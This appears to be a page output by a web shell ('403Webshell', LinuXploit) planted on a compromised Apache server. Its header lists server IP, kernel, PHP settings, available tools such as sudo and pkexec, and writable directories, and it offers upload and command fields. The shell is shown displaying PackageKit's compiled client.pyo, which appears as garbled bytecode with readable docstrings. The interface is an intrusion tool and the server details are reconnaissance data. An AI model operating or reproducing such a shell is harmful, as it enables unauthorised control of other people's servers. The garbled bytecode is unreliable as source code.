403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/packagekit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/packagekit/client.pyo
sJc
@sdZddkZddkZddkZddkZeiiideddk	Z	ddk
TddkTdZde
fdYZddd	YZd
ddYZdeifd
YZdZedjondS(s
The module provides a client to the PackageKit DBus interface. It allows to
perform basic package manipulation tasks in a cross distribution way, e.g.
to search for packages, install packages or codecs.
iNtset_as_default(t*s0.1.2tPackageKitErrorcBs#eZdZddZdZRS(sPackageKit error.

    This class mainly wraps a PackageKit "error enum". See
    http://www.packagekit.org/pk-reference.html#introduction-errors for details
    and possible values.
    cCs||_||_dS(N(tcodetdetails(tselfRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt__init__2s	cCsd|i|ifS(Ns%s: %s(RR(R((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt__str__6sN(t__name__t
__module__t__doc__tNoneRR(((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR+stPackageKitTransactioncBseZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdZdZdZdZdZdZRS(so
    This class represents a PackageKit transaction. It allows asynchronous and
    synchronous processing
    cCs||_d|_d|_d|_t|_d|_d|_g|_	g|_
||_xd|ifd|i
fd|ifd|ifd|ifd|ifd|ifd|ifd	|ifd
|ifd|ifgD]\}}|ii||qWti|_dS(NtFinishedt	ErrorCodet
StatusChangedtAllowCanceltPackagetDetailstCategorytUpdateDetailt
DistroUpgradetMessaget
RepoDetail(ttidRt_error_codet_error_detailst_exit_statustFalset
_allow_cancelt_methodt
_exit_handlertmessagestresultt_ifacet_on_finishedt	_on_errort
_on_statust_on_allow_cancelt_on_packaget_on_detailst_on_categoryt_on_update_detailt_on_distro_upgradet_on_messaget_on_repo_detailtconnect_to_signaltgobjecttMainLoopt
_main_loop(RRtifacetsigtcb((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR>s0										cCs|ii||S(s7Connect to a signal of the transaction's DBus interface(R"R.(RR3R4((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR.XscCs |iit|||dS(sCallback for Package signalN(R!tappendtPackageKitPackage(Rtitidtsummary((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR'\scCs |iit|||dS(s!Callback for DistroUpgrade signalN(R!R5tPackageKitDistroUpgrade(RttyptnameR9((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR+`scCs)|iit||||||dS(sCallback for Details signalN(R!R5tPackageKitDetails(RR8tlicensetgrouptdetailturltsize((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR(dscCs&|iit|||||dS(sCallback for Category signalN(R!R5tPackageKitCategory(Rt	parent_idtcat_idR<R9ticon((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR)isc

Cs;|iit|||||||||	|
||dS(s Callback for UpdateDetail signalN(R!R5tPackageKitUpdateDetails(
RR8tupdatest	obsoletest
vendor_urltbugzilla_urltcve_urltrestarttupdate_textt	changelogtstatetissuedtupdated((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR*ns
cCs |iit|||dS(sCallback for RepoDetail signalN(R!R5tPackageKitRepos(RR8tdescriptiontenabled((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR-wscCs|iit||dS(sCallback for Files signalN(R!R5tPackageKitFiles(RR8tfiles((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt	_on_files{scCs
||_dS(s!Callback for StatusChanged signalN(t_status(Rtstatus((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR%scCs
||_dS(sCallback for AllowCancel signalN(R(Rtallow((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR&scCs||_||_dS(sCallback for ErrorCode signalN(RR(RRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR$s	cCs|iit||dS(sCallback for Message signalN(R R5tPackageKitMessage(RRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR,scCs;||_|ii|io|i|||ndS(sCallback for Finished signalN(t_exitR1tquitR(Rtexittruntime((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR#s	

cGs"|ii||_||_dS(s>Setup the method of the DBus interface which should be handledN(R"tget_dbus_methodRt_args(Rtmethodtargs((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt
set_methodscCsti}x|io|iqWt|i|i|ip8|ii	|i
ot|i
|in|i
SdS(s Start processing the transactionN(R/tmain_context_defaulttpendingt	iterationtpolkit_auth_wrapperRRbRR1trunRRRR!(Rtcontext((s5/usr/lib/python2.6/site-packages/packagekit/client.pyRjs



cCs|ii|S(s)Set the language to the given locale code(R"t	SetLocale(RR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt
set_localescCs
|iiS(sCancel the transaction(R"tCancel(R((s5/usr/lib/python2.6/site-packages/packagekit/client.pytcancelscCs|iS(s!Get the status of the transaction(RY(R((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt
get_statusscCs
|iiS(s#Get the progress of the transaction(R"tGetProgress(R((s5/usr/lib/python2.6/site-packages/packagekit/client.pytget_progressscCs|iS(sReturn the finished status(t_finished_status(R((s5/usr/lib/python2.6/site-packages/packagekit/client.pytget_finished_statescCs
|iiS(s 
        This method allows us to find if the original caller of the method is
        still connected to the session bus. This is usually an indication that
        the client can handle it's own error handling and EULA callbacks rather
        than another program taking over.
        (R"tIsCallerActive(R((s5/usr/lib/python2.6/site-packages/packagekit/client.pytis_caller_activescCs&|iot|i|iSdSdS(s3Returns the PackageKitError of a failed transactionN(RRRR(R((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt	get_errors
(RR	R
RR.R'R+R(R)R*R-RXR%R&R$R,R#ReRjRmRoRpRrRtRvRw(((s5/usr/lib/python2.6/site-packages/packagekit/client.pyR9s0																	
							tPackageKitClientcBseZdZd#dZdZed#dZd#dZed#dZ	ed#dZ
ed#dZed#dZd#d	Z
d#d
Zeed#dZed#dZed#d
ZdZed#dZd#dZed#dZd#dZd#dZeed#dZd#dZeed#dZd#dZd#dZd#dZd#dZ d#dZ!d#dZ"d#dZ#dZ$d#dZ%d Z&d!Z'd"Z(RS($sPackageKit client wrapper class.

    This exclusively uses synchonous calls. Functions which take a long time
    (install/remove packages) have callbacks for progress feedback.
    cCs/d|_ti|_tid|_dS(sInitialize a PackageKit client.

        If main_loop is None, this sets up its own gobject.MainLoop(),
        otherwise it attaches to the specified one.
        iN(Rt
pk_controltdbust	SystemBustbustlocaletgetdefaultlocalet_locale(Rt	main_loop((s5/usr/lib/python2.6/site-packages/packagekit/client.pyRs	cCs6y|iiWnttifj
o	}nXdS(s&Ask the PackageKit daemon to shutdown.N(RytSuggestDaemonQuittAttributeErrorRzt
DBusException(Rte((s5/usr/lib/python2.6/site-packages/packagekit/client.pytsuggest_daemon_quitscCs(|i|}|id||g|S(sResolve package namestResolve(t_to_listt_run_transaction(Rtnamestfilterstexit_handlert
names_list((s5/usr/lib/python2.6/site-packages/packagekit/client.pytresolvescCs%|i|}|id|g|S(s$Get details about the given packagest
GetDetails(t_to_package_id_listR(RtpackagesRtpackage_ids((s5/usr/lib/python2.6/site-packages/packagekit/client.pytget_detailsscCs|id||g|S(sSearch for packages by namet
SearchName(R(RtsearchRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytsearch_namescCs|id||g|S(s"Search for packages by their grouptSearchGroup(R(RRRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytsearch_groupscCs|id||g|S(s$Search for packages by their detailst
SearchDetails(R(RRRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytsearch_detailsscCs|id||g|S(s"Search for packages by their filest
SearchFile(R(RRRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytsearch_filescCs%|i|}|id|g|S(s-Install the packages of the given package idstInstallPackages(RR(RRRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytinstall_packagesscCs%|i|}|id|g|S(s,Update the packages of the given package idstUpdatePackages(RR(RRRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytupdate_packagesscCs+|i|}|id|||g|S(s,Remove the packages of the given package idstRemovePackages(RR(RRt
allow_depstauto_removeRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytremove_packagess	cCs|id|f|S(s
        Refresh the cache, i.e. download new metadata from a
        remote URL so that package lists are up to date. This action
        may take a few minutes and should be done when the session and
        system are idle.
        tRefreshCache(R(RtforceR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt
refresh_cachescCs|id|f|S(sGet the repositoriestGetRepoList(R(RRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt
get_repo_list"scCs|id||ftS(s
        Enable the repository specified.
        repo_id is a repository identifier, e.g. fedora-development-debuginfo
        enabled true if enabled, false if disabled
        t
RepoEnable(RR(Rtrepo_idRU((s5/usr/lib/python2.6/site-packages/packagekit/client.pytrepo_enable&scCs|id|g|S(s
        This method should return a list of packages that are installed and
        are upgradable.

        It should only return the newest update for each installed package.
        t
GetUpdates(R(RRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytget_updates/scCs|idg|S(s$Return available software categoriest
GetCategories(R(RR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytget_categories8scCs|id|g|S(sReturn all packagestGetPackages(R(RRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytget_packages<scCs|idg|S(sUpdate the systemtUpdateSystem(R(RR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt
update_system@scCs%|i|}|id|g|S(sDownload package filestDownloadPackages(RR(RRRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytdownload_packagesDscCs+|i|}|id|||g|S(s$Search for dependencies for packagest
GetDepends(RR(RRRt	recursiveRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytget_dependsIs	cCs%|i|}|id|g|S(sGet files of the given packagestGetFiles(RR(RRRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt	get_filesQscCs+|i|}|id|||g|S(s$Search for requirements for packagestGetRequires(RR(RRRRRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytget_requiresVs	cCs%|i|}|id|g|S(sGet details for updatestGetUpdateDetail(RR(RRRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytget_update_detail^scCs|idg|S(s%Query for later distribution releasestGetDistroUpgrades(R(RR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytget_distro_upgradesdscCs|id||g|S(s Install the given local packagestInstallFiles(R(Rtonly_trustedRWR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt
install_filesiscCs|id|||g|S(s7Install packages signing keys used to validate packagestInstallSignature(R(Rtsig_typetkey_idt
package_idR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytinstall_signaturens	cCs|id|||g|S(s'Change custom parameter of a repositorytRepoSetData(R(RRt	parametertvalueR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt
set_repo_dataus	cCs|id|g|S(s#Roll back to a previous transactiontRollback(R(Rttransaction_idR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytrollback{scCs|id||g|S(s8Search for packages that provide the supplied attributestWhatProvides(R(RtprovidesRR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt
what_providesscCs
||_dS(sSet the language of the clientN(R(RR((s5/usr/lib/python2.6/site-packages/packagekit/client.pyRmscCs|id|g|S(s,Accept the given end user licence aggreementt
AcceptEula(R(Rteula_idR((s5/usr/lib/python2.6/site-packages/packagekit/client.pytaccept_eulascCs!t|tp
|g}n|S(sconvert obj to list(t
isinstancetlist(Rtobj((s5/usr/lib/python2.6/site-packages/packagekit/client.pyRs
cCsg}t|tp
|g}nx|D]w}t|to|i|iq*t|to-t|iddjo|i|q*td|q*W|S(sconvert to list of package idst;isOWrong Type: %s has to be a PackageKit id string or a PackageKitPackage instance(	RRR6R5R8tstrtlentsplitt	Exception(RRtidsto((s5/usr/lib/python2.6/site-packages/packagekit/client.pyRs
,cCs%y|ii}Wnttifj
ov}|idjp t|doJ|idjo:ti|i	i
ddtd|_|ii}qnXti|i	i
d|td}t||}|i
o|i|i
n|i|||o||_|S|iSdS(s)Run the given method in a new transactiont_dbus_error_names)org.freedesktop.DBus.Error.ServiceUnknownsorg.freedesktop.PackageKits/org/freedesktop/PackageKits&org.freedesktop.PackageKit.TransactionN(RytGetTidRRzRRthasattrRt	InterfaceR|t
get_objectRRRRmReRRj(Rtmethod_nameRdRRRR2ttrans((s5/usr/lib/python2.6/site-packages/packagekit/client.pyRs, 		
	N()RR	R
RRRtFILTER_NONERRRRRRRRRtTrueRRRRRRRRRRRRRRRRRRRRmRRRR(((s5/usr/lib/python2.6/site-packages/packagekit/client.pyRxsL
								tPermissionDeniedByPolicycBseZdZRS(s6org.freedesktop.PackageKit.Transaction.RefusedByPolicy(RR	R(((s5/usr/lib/python2.6/site-packages/packagekit/client.pyRscOsy|||SWntij
o}|itijo|iid\}}|idoltiiddd}|i	|ti
dti
tidd}|GH|o|||Snt|d	|qnXd
S(s!Function call wrapper for PolicyKit authentication.

    Call fn(*args, **kwargs). If it fails with a PermissionDeniedByPolicy
    and the caller can authenticate to get the missing privilege, the PolicyKit
    authentication agent is called, and the function call is attempted again.
    itauth_s-org.freedesktop.PolicyKit.AuthenticationAgentt/s7org.gnome.PolicyKit.AuthorizationManager.SingleInstanceittimeouti,t N(
RzRRRtmessageRt
startswitht
SessionBusRtObtainAuthorizationtUInt32tostgetpid(tfnRdtkwargsRtprivtauth_resulttpk_authtres((s5/usr/lib/python2.6/site-packages/packagekit/client.pyRis 	t__main__(((R
R}RRztdbus.mainloop.glibtmainlooptglibt
DBusGMainLoopRR/tenumstmisct__api_version__RRRRxRRRiR(((s5/usr/lib/python2.6/site-packages/packagekit/client.pyt<module>s 

	


Youez - 2016 - github.com/yon3zu
LinuXploit